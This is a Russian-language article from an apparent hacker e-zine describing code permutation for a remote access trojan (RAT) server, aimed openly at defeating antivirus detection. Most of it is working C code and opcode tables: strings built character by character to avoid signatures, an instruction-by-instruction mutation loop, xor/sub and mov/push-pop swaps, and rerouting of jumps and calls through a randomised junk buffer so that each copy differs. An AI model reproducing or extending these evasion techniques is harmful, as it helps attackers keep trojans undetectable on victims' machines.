/*-----------------------------------------------------------------------*/
/* R I N G 0, I S S U E # 1 */
/*-----------------------------------------------------------------------*/
Пермутация в rat
by CNerd/HangUP
Прежде всего по поводу термина. Для нас пермутация есть некое изменение
исполняемого кода на уровне asm-инструкций, позволяющая затруднить или
совсем обломать детектирование rat-сервера антивирусом. Проще говоря,
одни инструкции заменяются другими без нарушения работоспособности всей
проги.
Следует отметить, что пермутация крайне эффективна, но следует
отказаться от размещения данных в коде в чистом виде, тк эти самые
данные (текстовые строки и тд...) суть сигнатура.
Вобщем-то отказ от текстовых строк и проч. не так уж и сложен, это не
очень высокая плата за недетектируемость:
char buf[65535],tmp[65535]
было (есть сигнатура):
GetWindowsDirectory(buf,255);
wsprintf(buf,"%s\\%s.exe",buf,exename);
стало (данные растворились в коде, а код будет мутирован, сигнатуры
нет):
GetWindowsDirectory(buf,255);
tmp[0]='%'; tmp[1]='s'; tmp[2]='\\'; tmp[3]='%'; tmp[4]='s';
tmp[5]='.'; tmp[6]='e'; tmp[7]='x'; tmp[8]='e'; tmp[9]=0;
wsprintf(buf,tmp,buf,exename); // tmp: "%s\\%s.exe"
Однако, вернемся к нашим копытным, то бишь к пермутации. Метод весьма
прогрессивен, но и труден в реализации. Прежде всего, потребуется
дизассемблер. Да не тот, который IDA, а тот который будет встроен в наш
код.
Автором дизасма является товарисч Zombie (пользуясь случаем, передаю
привет и все такое ;). Код на це идет в прилагаемом к статье архиве.
Вызывается этот ценный стафф так:
char temp[65535]; // сюда запихивается код для пермутации
int ip; // адрес, с которого начинать дизассемблирование
disasm(&temp[ip]);
Длина инструкции будет возвращена в disasm_len , что собственно нам и
требовалось. Сам процесс идет покомандно, то есть прийдется организовать
цикл вроде этого:
while (ip < докуда_дизасмить)
{
disasm(&temp[ip]);
// ... а здесь вся фигня, осуществляющая пермутацию
// над отдельно взятой командой
ip=ip+disasm_len;
}
Теперь рассмотрим, как может проходить пермутация:
1. Замена xor reg8/32,self <-> sub reg8/32,self
30C0 xor al,al 28C0 sub al,al
30C9 xor cl,cl 28C9 sub cl,cl
30D2 xor dl,dl 28D2 sub dl,dl
30DB xor bl,bl 28DB sub bl,bl
30E4 xor ah,ah 28E4 sub ah,ah
30ED xor ch,ch 28ED sub ch,ch
30F6 xor dh,dh 28F6 sub dh,dh
30FF xor bh,bh 28FF sub bh,bh
31C0 xor eax,eax 29C0 sub eax,eax
31C9 xor ecx,ecx 29C9 sub ecx,ecx
31D2 xor edx,edx 29D2 sub edx,edx
31DB xor ebx,ebx 29DB sub ebx,ebx
31E4 xor esp,esp 29E4 sub esp,esp
31ED xor ebp,ebp 29ED sub ebp,ebp
31F6 xor esi,esi 29F6 sub esi,esi
31FF xor edi,edi 29FF sub edi,edi
Собственно пермутация в обе стороны может быть осуществлена
незамысловатым xor'ом по 0x18 первого байта:
b1, b2 - первый и второй байты соответственно
ip - адрес инструкции
if (((b1 == 0x31) || (b1 == 0x30) || (b1 == 0x29) || (b1 == 0x28)) &&
(((b2-0xC0)/9)*9 == b2-0xC0)) temp[ip]=b1^0x18;
2. Замена mov reg32,reg32 <-> push reg32 ; pop reg32
89C0-89FF 5058-575F
89C8 mov eax,ecx 5158 push ecx; pop eax
89D0 mov eax,edx 5258 push edx; pop eax
89D8 mov eax,ebx 5358 push ebx; pop eax
89E0 mov eax,esp 5458 push esp; pop eax
89E8 mov eax,ebp 5558 push ebp; pop eax
89F0 mov eax,esi 5658 push esi; pop eax
89F8 mov eax,edi 5758 push edi; pop eax
89C1 mov ecx,eax 5059 push eax; pop ecx
89D1 mov ecx,edx 5259 push edx; pop ecx
89D9 mov ecx,ebx 5359 push ebx; pop ecx
89E1 mov ecx,esp 5459 push esp; pop ecx
89E9 mov ecx,ebp 5559 push ebp; pop ecx
89F1 mov ecx,esi 5659 push esi; pop ecx
89F9 mov ecx,edi 5759 push edi; pop ecx
89C3 mov ebx,eax 505B push eax; pop ebx
89CB mov ebx,ecx 515B push ecx; pop ebx
89D3 mov ebx,edx 525B push edx; pop ebx
89E3 mov ebx,esp 545B push esp; pop ebx
89EB mov ebx,ebp 555B push ebp; pop ebx
89F3 mov ebx,esi 565B push esi; pop ebx
89FB mov ebx,edi 575B push edi; pop ebx
... и тд до полного оргазма. Этого вполне хватает, чтобы вывести
формулы для прямого преобразования:
b2 - второй байт b1n, b2n - новые первый и второй байты
b1n = 0x50+(b2-0xC0)/8 b2n = 0x58+b2-0xC0-((b2-0xC0)/8)*8
и обратного преобразования:
b2 = (b1n-0x50)*8+0xC0 + b2n-0x58
В коде это выглядит так:
// mov reg32,reg32 89C0-89FF
if ((b1 == 0x89) && (b2 >= 0xC0))
{
temp[ip]=0x50+(b2-0xC0)/8; // push reg32
temp[ip+1]=0x58+b2-0xC0-((b2-0xC0)/8)*8; // pop reg32
goto skip;
}
// push reg32 50-57 ; pop reg32 58-5F
if ((b1 >= 0x50) && (b1 <= 0x57) && (b2 >= 0x58) && (b2 <= 0x5F))
{
temp[ip]=0x89; // mov reg32,reg32 opcode
temp[ip+1]=(b1-0x50)*8+0xC0 + b2-0x58; // reg32,reg32
disasm_len=2; // из 2-х команд стала одна - корректируем
}
skip:
3. Переадресация всех переходов (j? xxx) и вызовов (call xxx)
Это требует некоторых пояснений. Cуть: обходим дизасмом исполняемый код
в поисках инструкций вида j? addr и call addr, меняем addr, так чтобы
оно указывало на некоторый адрес в предварительно созданном нами буфере,
а по этому адресу располагаем jmp со старым значеним addr. Буфер я
создал следующим извращенным способом ;) :
// Permutation buffer
void dup()
{
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 50 bytes
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 500 bytes
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 1000 bytes
}
В результате в коде появилась область в 1000 байт, сплошь забитая
call'ами. Кстати говоря, джампы надо обязательно разбавлять мусором, а
неиспользуемую часть буфера забивать случайными данными, тк такое
нехилое количество jmp/call само по себе есть неплохая сигнатура.
Остановимся на технических деталях. Для разграничения используемой (уже
забитой джампами) и свободной части буфера будем использовать метку - 5
FF'ов. Да, еще, пермутация любой инструкции (вообще, а не только
j?/call) должна происходить с определенной вероятностью, чтобы каждая
новая копия rat-сервера существенно отличалась от предыдущей. Собственно
ради этого и весь геморрой с меткой.
Также разберем инструкции, которые собрались пермутировать на примере
jmp. Длина 5 байт, 1-й байт - opcode, остальные 4 - смещение
относительно eip. С call дела обстоят точно так же, только опкод другой
- E8.
Незначительное различие для команд условного перехода - их длина 6 байт
вместо
5. Первый - опкод, 0F, второй - тип условного перехода (80-8F).
Остальные 4 - опять же смещение относительно eip. Поскольку команда
длиннее на 1 байт, в коде есть соотв. строка для корректного вычисления
адреса. Перейдем к рассмотрению кода:
int x,z,c;
int a1,a2; // начало и конец буфера в массиве temp
DWORD d; // для преобразований относительный <-> абсолютный адрес
// jmp addr call addr j? addr 0F80-0F8F
if ((b1 == 0xE9) || (b1 == 0xE8) || ((b1 == 0x0F) && (b2 >= 0x80) && (b2 <= 0x8F)))
{
for (z=a2;z>a1;z--) for (x=0;x<5;x++) if (temp[z+x] != 0xFF) break;
else if (x == 4) goto found; // 5 FF'ов - метка "end of used area"
found:
if (a2-z > 15) // резерв 15 байт, чтобы не запороть код вне буфера
{
c=rand()/20000; // + случайное смещение для метки
for (x=z;x < a2;x++) temp[x]=rand()/300; // забиваем мусором
for (x=z+5+c;x < z+10+c;x++) temp[x]=0xFF; // переносим метку
x=0; if (b1 == 0x0F) x=1; // +1 для условных переходов (6 байт)
temp[z]=0xE9; // ставим джамп в буфере
d=MAKELONG(MAKEWORD(b[1+x],b[2+x]),MAKEWORD(b[3+x],b[4+x]));
d=d-z+ip+x; // формируем адрес для джампа
temp[z+1]=LOBYTE(LOWORD(d)); temp[z+2]=HIBYTE(LOWORD(d));
temp[z+3]=LOBYTE(HIWORD(d)); temp[z+4]=HIBYTE(HIWORD(d));
d=0xFFFFFFFF-ip+z-4-x; // меняем адрес ориг. джампа на буфер
temp[ip+1+x]=LOBYTE(LOWORD(d)); temp[ip+2+x]=HIBYTE(LOWORD(d));
temp[ip+3+x]=LOBYTE(HIWORD(d)); temp[ip+4+x]=HIBYTE(HIWORD(d));
}
}
Пока это все. Добавлю лишь, что есть еще один способ пермутации - путем
обмена инструкций местами. Но об этом в следующий раз ;).